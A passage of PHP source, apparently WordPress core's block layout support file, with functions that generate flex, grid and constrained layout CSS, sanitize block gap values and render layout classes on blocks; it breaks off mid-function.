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layout.phpnu [ > $registered_styles Currently registered block styles.
* @return string|null The name of the first registered variation, or null if none found.
*/
function wp_get_block_style_variation_name_from_registered_style( string $class_name, array $registered_styles = array() ): ?string {
if ( ! $class_name ) {
return null;
}
$registered_names = array_filter( array_column( $registered_styles, 'name' ) );
$prefix = 'is-style-';
$length = strlen( $prefix );
foreach ( explode( ' ', $class_name ) as $class ) {
if ( str_starts_with( $class, $prefix ) ) {
$variation = substr( $class, $length );
if ( 'default' !== $variation && in_array( $variation, $registered_names, true ) ) {
return $variation;
}
}
}
return null;
}
/**
* Returns the child-layout-only subset of a layout object.
*
* @since 7.1.0
*
* @param mixed $layout Layout object.
* @return array Child layout values, or an empty array.
*/
function wp_get_layout_child_values( $layout ) {
if ( ! is_array( $layout ) ) {
return array();
}
return array_intersect_key(
$layout,
array_flip( array( 'selfStretch', 'flexSize', 'columnStart', 'columnSpan', 'rowStart', 'rowSpan' ) )
);
}
/**
* Returns the container-layout subset of a layout object.
*
* @since 7.1.0
*
* @param mixed $layout Layout object.
* @return array Container layout values, or an empty array.
*/
function wp_get_layout_container_values( $layout ) {
if ( ! is_array( $layout ) ) {
return array();
}
return array_diff_key(
$layout,
array_flip( array( 'selfStretch', 'flexSize', 'columnStart', 'columnSpan', 'rowStart', 'rowSpan' ) )
);
}
/**
* Sanitizes a block gap value before layout style generation.
*
* @since 7.1.0
*
* @param string|array|null $gap_value Block gap value.
* @return string|array|null Sanitized block gap value.
*/
function wp_sanitize_block_gap_value( $gap_value ) {
if ( is_array( $gap_value ) ) {
foreach ( $gap_value as $key => $value ) {
$gap_value[ $key ] = ! is_scalar( $value ) || ( $value && preg_match( '%[\\\(&=}]|/\*%', (string) $value ) ) ? null : $value;
}
return $gap_value;
}
return $gap_value && preg_match( '%[\\\(&=}]|/\*%', $gap_value ) ? null : $gap_value;
}
/**
* Returns child layout styles for a block affected by its parent's layout.
*
* @since 7.1.0
*
* @param string $selector CSS selector.
* @param array $child_layout Child layout values.
* @param array $parent_layout Parent layout values.
* @param array|null $viewport_overrides Optional. Child viewport layout overrides to emit.
* @return array Child layout style rules.
*/
function wp_get_child_layout_style_rules( $selector, $child_layout, $parent_layout = array(), $viewport_overrides = null ) {
$base_child_layout = is_array( $child_layout ) ? $child_layout : array();
$viewport_overrides = is_array( $viewport_overrides ) ? $viewport_overrides : null;
$child_layout = null === $viewport_overrides ? $base_child_layout : array_replace( $base_child_layout, $viewport_overrides );
$child_layout_declarations = array();
$child_layout_styles = array();
$has_viewport_property_override = static function ( $property ) use ( $viewport_overrides ) {
return array_key_exists( $property, $viewport_overrides );
};
$self_stretch = $child_layout['selfStretch'] ?? null;
$base_self_stretch = $base_child_layout['selfStretch'] ?? null;
/*
* These are the serialized `selfStretch` values. `max` used to be called
* "Fixed" in the UI, but was renamed and replaced by `fixedNoShrink`.
*/
$flex_child_layout_values = array(
'fit' => 'fit',
'grow' => 'fill',
'max' => 'fixed',
'fixed' => 'fixedNoShrink',
);
$flex_size_values = array(
$flex_child_layout_values['max'],
$flex_child_layout_values['fixed'],
);
if ( null === $viewport_overrides || $has_viewport_property_override( 'selfStretch' ) || $has_viewport_property_override( 'flexSize' ) ) {
if (
null !== $viewport_overrides &&
( $flex_child_layout_values['fit'] === $self_stretch || $flex_child_layout_values['grow'] === $self_stretch ) &&
in_array( $base_self_stretch, $flex_size_values, true ) &&
isset( $base_child_layout['flexSize'] )
) {
$child_layout_declarations['flex-basis'] = 'unset';
if ( $flex_child_layout_values['fixed'] === $base_self_stretch ) {
$child_layout_declarations['flex-shrink'] = 'unset';
}
}
if ( in_array( $self_stretch, $flex_size_values, true ) && isset( $child_layout['flexSize'] ) ) {
$child_layout_declarations['flex-basis'] = $child_layout['flexSize'];
if ( $flex_child_layout_values['fixed'] === $self_stretch ) {
$child_layout_declarations['flex-shrink'] = '0';
} elseif ( null !== $viewport_overrides && $flex_child_layout_values['fixed'] === $base_self_stretch ) {
$child_layout_declarations['flex-shrink'] = 'unset';
}
$child_layout_declarations['box-sizing'] = 'border-box';
} elseif ( $flex_child_layout_values['grow'] === $self_stretch ) {
$child_layout_declarations['flex-grow'] = '1';
}
}
$column_start = $child_layout['columnStart'] ?? null;
$column_span = $child_layout['columnSpan'] ?? null;
if ( null === $viewport_overrides || $has_viewport_property_override( 'columnStart' ) || $has_viewport_property_override( 'columnSpan' ) ) {
if ( $column_start && $column_span ) {
$child_layout_declarations['grid-column'] = "$column_start / span $column_span";
} elseif ( $column_start ) {
$child_layout_declarations['grid-column'] = "$column_start";
} elseif ( $column_span ) {
$child_layout_declarations['grid-column'] = "span $column_span";
}
}
$row_start = $child_layout['rowStart'] ?? null;
$row_span = $child_layout['rowSpan'] ?? null;
if ( null === $viewport_overrides || $has_viewport_property_override( 'rowStart' ) || $has_viewport_property_override( 'rowSpan' ) ) {
if ( $row_start && $row_span ) {
$child_layout_declarations['grid-row'] = "$row_start / span $row_span";
} elseif ( $row_start ) {
$child_layout_declarations['grid-row'] = "$row_start";
} elseif ( $row_span ) {
$child_layout_declarations['grid-row'] = "span $row_span";
}
}
if ( ! empty( $child_layout_declarations ) ) {
$child_layout_styles[] = array(
'selector' => $selector,
'declarations' => $child_layout_declarations,
);
}
$minimum_column_width = $parent_layout['minimumColumnWidth'] ?? null;
$column_count = $parent_layout['columnCount'] ?? null;
/*
* If columnSpan or columnStart is set, and the parent grid is responsive, i.e. if it has a minimumColumnWidth set,
* the columnSpan should be removed once the grid is smaller than the span, and columnStart should be removed
* once the grid has less columns than the start.
* If there's a minimumColumnWidth, the grid is responsive. But if the minimumColumnWidth value wasn't changed, it won't be set.
* In that case, if columnCount doesn't exist, we can assume that the grid is responsive.
*/
if ( null === $viewport_overrides && ( $column_span || $column_start ) && ( $minimum_column_width || ! $column_count ) ) {
$column_span_number = floatval( $column_span );
$column_start_number = floatval( $column_start );
$parent_column_width = $minimum_column_width ? $minimum_column_width : '12rem';
$parent_column_value = floatval( $parent_column_width );
$parent_column_unit = explode( $parent_column_value, $parent_column_width );
$num_cols_to_break_at = 2;
if ( $column_span_number && $column_start_number ) {
$num_cols_to_break_at = $column_start_number + $column_span_number - 1;
} elseif ( $column_span_number ) {
$num_cols_to_break_at = $column_span_number;
} else {
$num_cols_to_break_at = $column_start_number;
}
/*
* If there is no unit, the width has somehow been mangled so we reset both unit and value
* to defaults.
* Additionally, the unit should be one of px, rem or em, so that also needs to be checked.
*/
if ( count( $parent_column_unit ) <= 1 ) {
$parent_column_unit = 'rem';
$parent_column_value = 12;
} else {
$parent_column_unit = $parent_column_unit[1];
if ( ! in_array( $parent_column_unit, array( 'px', 'rem', 'em' ), true ) ) {
$parent_column_unit = 'rem';
}
}
/*
* A default gap value is used for this computation because custom gap values may not be
* viable to use in the computation of the container query value.
*/
$default_gap_value = 'px' === $parent_column_unit ? 24 : 1.5;
$container_query_value = $num_cols_to_break_at * $parent_column_value + ( $num_cols_to_break_at - 1 ) * $default_gap_value;
$minimum_container_query_value = $parent_column_value * 2 + $default_gap_value - 1;
$container_query_value = max( $container_query_value, $minimum_container_query_value ) . $parent_column_unit;
// If a span is set we want to preserve it as long as possible, otherwise we just reset the value.
$grid_column_value = $column_span && $column_span > 1 ? '1/-1' : 'auto';
$child_layout_styles[] = array(
'rules_group' => "@container (max-width: $container_query_value )",
'selector' => $selector,
'declarations' => array(
'grid-column' => $grid_column_value,
'grid-row' => 'auto',
),
);
}
return $child_layout_styles;
}
/**
* Returns layout definitions, keyed by layout type.
*
* Provides a common definition of slugs, classnames, base styles, and spacing styles for each layout type.
* When making changes or additions to layout definitions, the corresponding JavaScript definitions should
* also be updated.
*
* @since 6.3.0
* @since 6.6.0 Updated specificity for compatibility with 0-1-0 global styles specificity.
* @access private
*
* @return array[] Layout definitions.
*/
function wp_get_layout_definitions() {
$layout_definitions = array(
'default' => array(
'name' => 'default',
'slug' => 'flow',
'className' => 'is-layout-flow',
'baseStyles' => array(
array(
'selector' => ' > .alignleft',
'rules' => array(
'float' => 'left',
'margin-inline-start' => '0',
'margin-inline-end' => '2em',
),
),
array(
'selector' => ' > .alignright',
'rules' => array(
'float' => 'right',
'margin-inline-start' => '2em',
'margin-inline-end' => '0',
),
),
array(
'selector' => ' > .aligncenter',
'rules' => array(
'margin-left' => 'auto !important',
'margin-right' => 'auto !important',
),
),
),
'spacingStyles' => array(
array(
'selector' => ' > :first-child',
'rules' => array(
'margin-block-start' => '0',
),
),
array(
'selector' => ' > :last-child',
'rules' => array(
'margin-block-end' => '0',
),
),
array(
'selector' => ' > *',
'rules' => array(
'margin-block-start' => null,
'margin-block-end' => '0',
),
),
),
),
'constrained' => array(
'name' => 'constrained',
'slug' => 'constrained',
'className' => 'is-layout-constrained',
'baseStyles' => array(
array(
'selector' => ' > .alignleft',
'rules' => array(
'float' => 'left',
'margin-inline-start' => '0',
'margin-inline-end' => '2em',
),
),
array(
'selector' => ' > .alignright',
'rules' => array(
'float' => 'right',
'margin-inline-start' => '2em',
'margin-inline-end' => '0',
),
),
array(
'selector' => ' > .aligncenter',
'rules' => array(
'margin-left' => 'auto !important',
'margin-right' => 'auto !important',
),
),
array(
'selector' => ' > :where(:not(.alignleft):not(.alignright):not(.alignfull))',
'rules' => array(
'max-width' => 'var(--wp--style--global--content-size)',
'margin-left' => 'auto !important',
'margin-right' => 'auto !important',
),
),
array(
'selector' => ' > .alignwide',
'rules' => array(
'max-width' => 'var(--wp--style--global--wide-size)',
),
),
),
'spacingStyles' => array(
array(
'selector' => ' > :first-child',
'rules' => array(
'margin-block-start' => '0',
),
),
array(
'selector' => ' > :last-child',
'rules' => array(
'margin-block-end' => '0',
),
),
array(
'selector' => ' > *',
'rules' => array(
'margin-block-start' => null,
'margin-block-end' => '0',
),
),
),
),
'flex' => array(
'name' => 'flex',
'slug' => 'flex',
'className' => 'is-layout-flex',
'displayMode' => 'flex',
'baseStyles' => array(
array(
'selector' => '',
'rules' => array(
'flex-wrap' => 'wrap',
'align-items' => 'center',
),
),
array(
'selector' => ' > :is(*, div)', // :is(*, div) instead of just * increases the specificity by 001.
'rules' => array(
'margin' => '0',
),
),
),
'spacingStyles' => array(
array(
'selector' => '',
'rules' => array(
'gap' => null,
),
),
),
),
'grid' => array(
'name' => 'grid',
'slug' => 'grid',
'className' => 'is-layout-grid',
'displayMode' => 'grid',
'baseStyles' => array(
array(
'selector' => ' > :is(*, div)', // :is(*, div) instead of just * increases the specificity by 001.
'rules' => array(
'margin' => '0',
),
),
),
'spacingStyles' => array(
array(
'selector' => '',
'rules' => array(
'gap' => null,
),
),
),
),
);
return $layout_definitions;
}
/**
* Registers the layout block attribute for block types that support it.
*
* @since 5.8.0
* @since 6.3.0 Check for layout support via the `layout` key with fallback to `__experimentalLayout`.
* @access private
*
* @param WP_Block_Type $block_type Block Type.
*/
function wp_register_layout_support( $block_type ) {
$support_layout = block_has_support( $block_type, 'layout', false ) || block_has_support( $block_type, '__experimentalLayout', false );
if ( $support_layout ) {
if ( ! $block_type->attributes ) {
$block_type->attributes = array();
}
if ( ! array_key_exists( 'layout', $block_type->attributes ) ) {
$block_type->attributes['layout'] = array(
'type' => 'object',
);
}
}
}
/**
* Generates the CSS corresponding to the provided layout.
*
* @since 5.9.0
* @since 6.1.0 Added `$block_spacing` param, use style engine to enqueue styles.
* @since 6.3.0 Added grid layout type.
* @since 6.6.0 Removed duplicated selector from layout styles.
* Enabled negative margins for alignfull children of blocks with custom padding.
* @since 7.1.0 Added options array with options to process responsive styles.
* @access private
*
* @param string $selector CSS selector.
* @param array $layout Layout object. The one that is passed has already checked
* the existence of default block layout.
* @param bool $has_block_gap_support Optional. Whether the theme has support for the block gap. Default false.
* @param string|string[]|null $gap_value Optional. The block gap value to apply. Default null.
* @param bool $should_skip_gap_serialization Optional. Whether to skip applying the user-defined value set in the editor. Default false.
* @param string|array $fallback_gap_value Optional. The block gap value to apply. If it's an array expected properties are "top" and/or "left". Default '0.5em'.
* @param array|null $block_spacing Optional. Custom spacing set on the block. Default null.
* @param array $options {
* Optional. Extra options for internal callers. Default empty array.
*
* @type array $viewport_overrides An array of layout property overrides for the sake of style generation,
* keyed by property name.
* @type string|null $rules_group Optional group name for the rules. Default null.
* @type bool $has_block_gap_override Whether the block gap has been overridden. Default false.
* }
* @return string CSS styles on success. Else, empty string.
*/
function wp_get_layout_style( $selector, $layout, $has_block_gap_support = false, $gap_value = null, $should_skip_gap_serialization = false, $fallback_gap_value = '0.5em', $block_spacing = null, $options = array() ) {
$base_layout = is_array( $layout ) ? $layout : array();
$viewport_overrides = $options['viewport_overrides'] ?? null;
$layout_for_styles = null === $viewport_overrides ? $base_layout : array_replace( $base_layout, $viewport_overrides );
$layout_type = $base_layout['type'] ?? 'default';
$rules_group = $options['rules_group'] ?? null;
$has_block_gap_override = ! empty( $options['has_block_gap_override'] );
$should_output_block_gap = null === $viewport_overrides || $has_block_gap_override;
/*
* Viewport styles only store changed fields. If a field is present with null,
* the user cleared a value inherited from the default viewport, so check
* whether the key exists rather than whether the value is truthy.
*/
$has_viewport_property_override = static function ( $property ) use ( $viewport_overrides ) {
return array_key_exists( $property, $viewport_overrides );
};
$layout_styles = array();
if ( 'default' === $layout_type ) {
if ( $has_block_gap_support && $should_output_block_gap ) {
if ( is_array( $gap_value ) ) {
$gap_value = $gap_value['top'] ?? null;
}
if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
// Get spacing CSS variable from preset value if provided.
if ( is_string( $gap_value ) && str_contains( $gap_value, 'var:preset|spacing|' ) ) {
$index_to_splice = strrpos( $gap_value, '|' ) + 1;
$slug = _wp_to_kebab_case( substr( $gap_value, $index_to_splice ) );
$gap_value = "var(--wp--preset--spacing--$slug)";
}
array_push(
$layout_styles,
array(
'selector' => "$selector > *",
'declarations' => array(
'margin-block-start' => '0',
'margin-block-end' => '0',
),
),
array(
'selector' => "$selector > * + *",
'declarations' => array(
'margin-block-start' => $gap_value,
'margin-block-end' => '0',
),
)
);
}
}
} elseif ( 'constrained' === $layout_type ) {
$content_size = $layout_for_styles['contentSize'] ?? '';
$wide_size = $layout_for_styles['wideSize'] ?? '';
$justify_content = $layout_for_styles['justifyContent'] ?? 'center';
// Check if viewport-specific ("override") values exist. Null values are valid and mean the user cleared a value inherited from the default viewport.
$has_justify_content_override = null !== $viewport_overrides && $has_viewport_property_override( 'justifyContent' );
$has_content_size_override = null !== $viewport_overrides && $has_viewport_property_override( 'contentSize' );
$has_wide_size_override = null !== $viewport_overrides && $has_viewport_property_override( 'wideSize' );
/*
* Styles should be output either if there are no viewport overrides (this is the default case), or if the user has set a new viewport-specific
* value for contentSize or wideSize. If a viewport clears a custom constrained size, reset to the global layout variable.
*/
$should_output_constrained_sizes = null === $viewport_overrides || $has_content_size_override || $has_wide_size_override;
$is_resetting_constrained_sizes = null !== $viewport_overrides &&
(
( $has_content_size_override && ! $content_size ) ||
( $has_wide_size_override && ! $wide_size )
);
// If a viewport clears a custom constrained size, reset to the global layout variable.
$all_max_width_value = $content_size
? $content_size
: ( $wide_size && ! $has_content_size_override ? $wide_size : 'var(--wp--style--global--content-size, none)' );
$wide_max_width_value = $wide_size
? $wide_size
: ( $content_size && ! $has_wide_size_override ? $content_size : 'var(--wp--style--global--wide-size, none)' );
// Make sure there is a single CSS rule, and all tags are stripped for security.
$all_max_width_value = safecss_filter_attr( explode( ';', $all_max_width_value )[0] );
$wide_max_width_value = safecss_filter_attr( explode( ';', $wide_max_width_value )[0] );
$margin_left = 'left' === $justify_content ? '0 !important' : 'auto !important';
$margin_right = 'right' === $justify_content ? '0 !important' : 'auto !important';
if ( $should_output_constrained_sizes && ( $content_size || $wide_size || $is_resetting_constrained_sizes ) ) {
$content_size_declarations = array(
'max-width' => $all_max_width_value,
);
if ( null === $viewport_overrides || $has_justify_content_override ) {
$content_size_declarations['margin-left'] = $margin_left;
$content_size_declarations['margin-right'] = $margin_right;
}
array_push(
$layout_styles,
array(
'selector' => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
'declarations' => $content_size_declarations,
),
array(
'selector' => "$selector > .alignwide",
'declarations' => array( 'max-width' => $wide_max_width_value ),
),
array(
'selector' => "$selector .alignfull",
'declarations' => array( 'max-width' => 'none' ),
)
);
}
if ( null === $viewport_overrides && isset( $block_spacing ) ) {
$block_spacing_values = wp_style_engine_get_styles(
array(
'spacing' => $block_spacing,
)
);
/*
* Handle negative margins for alignfull children of blocks with custom padding set.
* They're added separately because padding might only be set on one side.
*/
if ( isset( $block_spacing_values['declarations']['padding-right'] ) ) {
$padding_right = $block_spacing_values['declarations']['padding-right'];
// Add unit if 0.
if ( '0' === $padding_right ) {
$padding_right = '0px';
}
$layout_styles[] = array(
'selector' => "$selector > .alignfull",
'declarations' => array( 'margin-right' => "calc($padding_right * -1)" ),
);
}
if ( isset( $block_spacing_values['declarations']['padding-left'] ) ) {
$padding_left = $block_spacing_values['declarations']['padding-left'];
// Add unit if 0.
if ( '0' === $padding_left ) {
$padding_left = '0px';
}
$layout_styles[] = array(
'selector' => "$selector > .alignfull",
'declarations' => array( 'margin-left' => "calc($padding_left * -1)" ),
);
}
}
if ( $has_justify_content_override && ! $should_output_constrained_sizes ) {
$layout_styles[] = array(
'selector' => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
'declarations' => array(
'margin-left' => $margin_left,
'margin-right' => $margin_right,
),
);
} elseif ( null === $viewport_overrides ) {
if ( 'left' === $justify_content ) {
$layout_styles[] = array(
'selector' => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
'declarations' => array( 'margin-left' => '0 !important' ),
);
}
if ( 'right' === $justify_content ) {
$layout_styles[] = array(
'selector' => "$selector > :where(:not(.alignleft):not(.alignright):not(.alignfull))",
'declarations' => array( 'margin-right' => '0 !important' ),
);
}
}
if ( $has_block_gap_support && $should_output_block_gap ) {
if ( is_array( $gap_value ) ) {
$gap_value = $gap_value['top'] ?? null;
}
if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
// Get spacing CSS variable from preset value if provided.
if ( is_string( $gap_value ) && str_contains( $gap_value, 'var:preset|spacing|' ) ) {
$index_to_splice = strrpos( $gap_value, '|' ) + 1;
$slug = _wp_to_kebab_case( substr( $gap_value, $index_to_splice ) );
$gap_value = "var(--wp--preset--spacing--$slug)";
}
array_push(
$layout_styles,
array(
'selector' => "$selector > *",
'declarations' => array(
'margin-block-start' => '0',
'margin-block-end' => '0',
),
),
array(
'selector' => "$selector > * + *",
'declarations' => array(
'margin-block-start' => $gap_value,
'margin-block-end' => '0',
),
)
);
}
}
} elseif ( 'flex' === $layout_type ) {
$layout_orientation = $layout_for_styles['orientation'] ?? 'horizontal';
$justify_content_options = array(
'left' => 'flex-start',
'right' => 'flex-end',
'center' => 'center',
);
$vertical_alignment_options = array(
'top' => 'flex-start',
'center' => 'center',
'bottom' => 'flex-end',
);
if ( 'horizontal' === $layout_orientation ) {
$justify_content_options += array( 'space-between' => 'space-between' );
$vertical_alignment_options += array( 'stretch' => 'stretch' );
} else {
$justify_content_options += array( 'stretch' => 'stretch' );
$vertical_alignment_options += array( 'space-between' => 'space-between' );
}
/*
* Styles should be output either if there are no viewport overrides (this is the default case), or if the user has set a new viewport-specific
* value for any of the flex properties.
*/
$should_output_flex_wrap = null === $viewport_overrides || $has_viewport_property_override( 'flexWrap' );
$should_output_flex_orientation = null === $viewport_overrides || $has_viewport_property_override( 'orientation' );
$should_output_flex_justification = null === $viewport_overrides || $has_viewport_property_override( 'justifyContent' ) || $has_viewport_property_override( 'orientation' );
$should_output_flex_alignment = null === $viewport_overrides || $has_viewport_property_override( 'verticalAlignment' ) || $has_viewport_property_override( 'orientation' );
if ( $should_output_flex_wrap && ! empty( $layout_for_styles['flexWrap'] ) && 'nowrap' === $layout_for_styles['flexWrap'] ) {
$layout_styles[] = array(
'selector' => $selector,
'declarations' => array( 'flex-wrap' => 'nowrap' ),
);
}
if ( $has_block_gap_support && $should_output_block_gap && isset( $gap_value ) ) {
$combined_gap_value = '';
$gap_sides = is_array( $gap_value ) ? array( 'top', 'left' ) : array( 'top' );
foreach ( $gap_sides as $gap_side ) {
$process_value = $gap_value;
if ( is_array( $gap_value ) ) {
if ( is_array( $fallback_gap_value ) ) {
$fallback_value = $fallback_gap_value[ $gap_side ] ?? reset( $fallback_gap_value );
} else {
$fallback_value = $fallback_gap_value;
}
$process_value = $gap_value[ $gap_side ] ?? $fallback_value;
}
// Get spacing CSS variable from preset value if provided.
if ( is_string( $process_value ) && str_contains( $process_value, 'var:preset|spacing|' ) ) {
$index_to_splice = strrpos( $process_value, '|' ) + 1;
$slug = _wp_to_kebab_case( substr( $process_value, $index_to_splice ) );
$process_value = "var(--wp--preset--spacing--$slug)";
}
$combined_gap_value .= "$process_value ";
}
$gap_value = trim( $combined_gap_value );
if ( null !== $gap_value && ! $should_skip_gap_serialization ) {
$layout_styles[] = array(
'selector' => $selector,
'declarations' => array( 'gap' => $gap_value ),
);
}
}
if ( 'horizontal' === $layout_orientation ) {
/*
* Add this style only if is not empty for backwards compatibility,
* since we intend to convert blocks that had flex layout implemented
* by custom css.
*/
if ( $should_output_flex_justification && ! empty( $layout_for_styles['justifyContent'] ) && array_key_exists( $layout_for_styles['justifyContent'], $justify_content_options ) ) {
$layout_styles[] = array(
'selector' => $selector,
'declarations' => array( 'justify-content' => $justify_content_options[ $layout_for_styles['justifyContent'] ] ),
);
}
if ( $should_output_flex_alignment && ! empty( $layout_for_styles['verticalAlignment'] ) && array_key_exists( $layout_for_styles['verticalAlignment'], $vertical_alignment_options ) ) {
$layout_styles[] = array(
'selector' => $selector,
'declarations' => array( 'align-items' => $vertical_alignment_options[ $layout_for_styles['verticalAlignment'] ] ),
);
}
} else {
if ( $should_output_flex_orientation ) {
$layout_styles[] = array(
'selector' => $selector,
'declarations' => array( 'flex-direction' => 'column' ),
);
}
if ( $should_output_flex_justification && ! empty( $layout_for_styles['justifyContent'] ) && array_key_exists( $layout_for_styles['justifyContent'], $justify_content_options ) ) {
$layout_styles[] = array(
'selector' => $selector,
'declarations' => array( 'align-items' => $justify_content_options[ $layout_for_styles['justifyContent'] ] ),
);
} elseif ( $should_output_flex_justification ) {
$layout_styles[] = array(
'selector' => $selector,
'declarations' => array( 'align-items' => 'flex-start' ),
);
}
if ( $should_output_flex_alignment && ! empty( $layout_for_styles['verticalAlignment'] ) && array_key_exists( $layout_for_styles['verticalAlignment'], $vertical_alignment_options ) ) {
$layout_styles[] = array(
'selector' => $selector,
'declarations' => array( 'justify-content' => $vertical_alignment_options[ $layout_for_styles['verticalAlignment'] ] ),
);
}
}
} elseif ( 'grid' === $layout_type ) {
/*
* If the gap value is an array, we use the "left" value because it represents the vertical gap, which
* is the relevant one for computation of responsive grid columns.
*/
if ( is_array( $fallback_gap_value ) ) {
$responsive_gap_value = $fallback_gap_value['left'] ?? reset( $fallback_gap_value );
} else {
$responsive_gap_value = $fallback_gap_value;
}
if ( $has_block_gap_support && isset( $gap_value ) ) {
$combined_gap_value = '';
$gap_sides = is_array( $gap_value ) ? array( 'top', 'left' ) : array( 'top' );
foreach ( $gap_sides as $gap_side ) {
$process_value = $gap_value;
if ( is_array( $gap_value ) ) {
if ( is_array( $fallback_gap_value ) ) {
$fallback_value = $fallback_gap_value[ $gap_side ] ?? reset( $fallback_gap_value );
} else {
$fallback_value = $fallback_gap_value;
}
$process_value = $gap_value[ $gap_side ] ?? $fallback_value;
}
// Get spacing CSS variable from preset value if provided.
if ( is_string( $process_value ) && str_contains( $process_value, 'var:preset|spacing|' ) ) {
$index_to_splice = strrpos( $process_value, '|' ) + 1;
$slug = _wp_to_kebab_case( substr( $process_value, $index_to_splice ) );
$process_value = "var(--wp--preset--spacing--$slug)";
}
$combined_gap_value .= "$process_value ";
}
$gap_value = trim( $combined_gap_value );
$responsive_gap_value = $gap_value;
}
// Ensure 0 values have a unit so they work in calc().
if ( '0' === $responsive_gap_value || 0 === $responsive_gap_value ) {
$responsive_gap_value = '0px';
}
/*
* Styles should be output either if there are no viewport overrides (this is the default case), or if the user has set a new viewport-specific
* value for any of the grid properties.
*/
$should_output_grid_columns = null === $viewport_overrides || $has_viewport_property_override( 'minimumColumnWidth' ) || $has_viewport_property_override( 'columnCount' ) || $has_viewport_property_override( 'autoFit' );
$uses_gap_in_grid_columns = ! empty( $layout_for_styles['columnCount'] ) && ! empty( $layout_for_styles['minimumColumnWidth'] );
if ( $has_block_gap_override && $uses_gap_in_grid_columns ) {
$should_output_grid_columns = true;
}
$should_output_grid_rows = ( null === $viewport_overrides || $has_viewport_property_override( 'rowCount' ) ) && ! empty( $layout_for_styles['columnCount'] ) && ! empty( $layout_for_styles['rowCount'] );
$grid_declarations = array();
/*
* When enabled, columns stretch to fill the available space using
* `auto-fit`; otherwise empty tracks are preserved with `auto-fill`.
*/
$auto_placement = ! empty( $layout_for_styles['autoFit'] ) ? 'auto-fit' : 'auto-fill';
if ( $should_output_grid_columns && ! empty( $layout_for_styles['columnCount'] ) && ! empty( $layout_for_styles['minimumColumnWidth'] ) ) {
$max_value = 'max(min(' . $layout_for_styles['minimumColumnWidth'] . ', 100%), (100% - (' . $responsive_gap_value . ' * (' . $layout_for_styles['columnCount'] . ' - 1))) /' . $layout_for_styles['columnCount'] . ')';
$grid_declarations['grid-template-columns'] = 'repeat(' . $auto_placement . ', minmax(' . $max_value . ', 1fr))';
} elseif ( $should_output_grid_columns && ! empty( $layout_for_styles['columnCount'] ) ) {
$grid_declarations['grid-template-columns'] = 'repeat(' . $layout_for_styles['columnCount'] . ', minmax(0, 1fr))';
} elseif ( $should_output_grid_columns ) {
$minimum_column_width = ! empty( $layout_for_styles['minimumColumnWidth'] ) ? $layout_for_styles['minimumColumnWidth'] : '12rem';
$grid_declarations['grid-template-columns'] = 'repeat(' . $auto_placement . ', minmax(min(' . $minimum_column_width . ', 100%), 1fr))';
}
if ( ! empty( $grid_declarations ) ) {
$base_has_container_type = empty( $base_layout['columnCount'] ) || ( ! empty( $base_layout['columnCount'] ) && ! empty( $base_layout['minimumColumnWidth'] ) );
if ( empty( $layout_for_styles['columnCount'] ) || ! empty( $layout_for_styles['minimumColumnWidth'] ) ) {
if ( null === $viewport_overrides || ! $base_has_container_type ) {
$grid_declarations['container-type'] = 'inline-size';
}
}
$layout_styles[] = array(
'selector' => $selector,
'declarations' => $grid_declarations,
);
}
if ( $should_output_grid_rows ) {
$layout_styles[] = array(
'selector' => $selector,
'declarations' => array( 'grid-template-rows' => 'repeat(' . $layout_for_styles['rowCount'] . ', minmax(1rem, auto))' ),
);
}
if ( $has_block_gap_support && $should_output_block_gap && null !== $gap_value && ! $should_skip_gap_serialization ) {
$layout_styles[] = array(
'selector' => $selector,
'declarations' => array( 'gap' => $gap_value ),
);
}
}
if ( ! empty( $layout_styles ) ) {
if ( ! empty( $rules_group ) ) {
foreach ( $layout_styles as $index => $layout_style ) {
$layout_styles[ $index ]['rules_group'] = $rules_group;
}
}
/*
* Add to the style engine store to enqueue and render layout styles.
* Return compiled layout styles to retain backwards compatibility.
* Since https://github.com/WordPress/gutenberg/pull/42452,
* wp_enqueue_block_support_styles is no longer called in this block supports file.
*/
return wp_style_engine_get_stylesheet_from_css_rules(
$layout_styles,
array(
'context' => 'block-supports',
'prettify' => false,
)
);
}
return '';
}
/**
* Renders the layout config to the block wrapper.
*
* @since 5.8.0
* @since 6.3.0 Adds compound class to layout wrapper for global spacing styles.
* @since 6.3.0 Check for layout support via the `layout` key with fallback to `__experimentalLayout`.
* @since 6.6.0 Removed duplicate container class from layout styles.
* @access private
*
* @param string $block_content Rendered block content.
* @param array $block Block object.
* @return string Filtered block content.
*/
function wp_render_layout_support_flag( $block_content, $block ) {
static $global_styles = null;
$block_type = WP_Block_Type_Registry::get_instance()->get_registered( $block['blockName'] );
$block_supports_layout = block_has_support( $block_type, 'layout', false ) || block_has_support( $block_type, '__experimentalLayout', false );
$style_attr = $block['attrs']['style'] ?? array();
/*
* A block with no layout support and no style attribute at all cannot
* produce layout output, so return before resolving global settings.
*
* Resolving settings is not read-only: on a cold cache it queries the
* user's `wp_global_styles` post, which fires `the_posts`. A callback on
* that hook that renders blocks re-enters this filter, and the content it
* renders at that point is the global styles post itself, which parses to a
* single block with no name and no attributes. Without this return that
* block resolves settings again and the recursion has no base case.
*/
if ( ! $block_supports_layout && empty( $style_attr ) ) {
return $block_content;
}
$global_settings = wp_get_global_settings();
$viewport_settings = $global_settings['viewport'] ?? null;
$responsive_media_queries = WP_Theme_JSON::get_viewport_media_queries( $viewport_settings );
$child_layout = $style_attr['layout'] ?? null;
/*
* Collect responsive viewport child layout overrides so that a block with
* only responsive child layout (no base child layout) is still processed.
*/
$viewport_child_layouts = array();
foreach ( $responsive_media_queries as $breakpoint => $media_query ) {
$viewport_child = wp_get_layout_child_values( $style_attr[ $breakpoint ]['layout'] ?? null );
if ( ! empty( $viewport_child ) ) {
$viewport_child_layouts[ $breakpoint ] = array(
'media_query' => $media_query,
'child_layout' => $viewport_child,
);
}
}
if ( ! $block_supports_layout && ! $child_layout && empty( $viewport_child_layouts ) ) {
return $block_content;
}
$outer_class_names = array();
// Child layout specific logic.
if ( $child_layout || ! empty( $viewport_child_layouts ) ) {
$base_child_layout = wp_get_layout_child_values( $child_layout );
$parent_layout = $block['parentLayout'] ?? array();
/*
* Generates a unique class for child block layout styles.
*
* To ensure consistent class generation across different page renders,
* only properties that affect layout styling are used. These properties
* come from `$block['attrs']['style']['layout']`, viewport overrides in
* `$block['attrs']['style'][$breakpoint]['layout']`, and `$block['parentLayout']`.
*
* As long as these properties coincide, the generated class will be the same.
*/
$container_content_hash_input = array(
'layout' => $base_child_layout,
'parentLayout' => array_intersect_key(
$parent_layout,
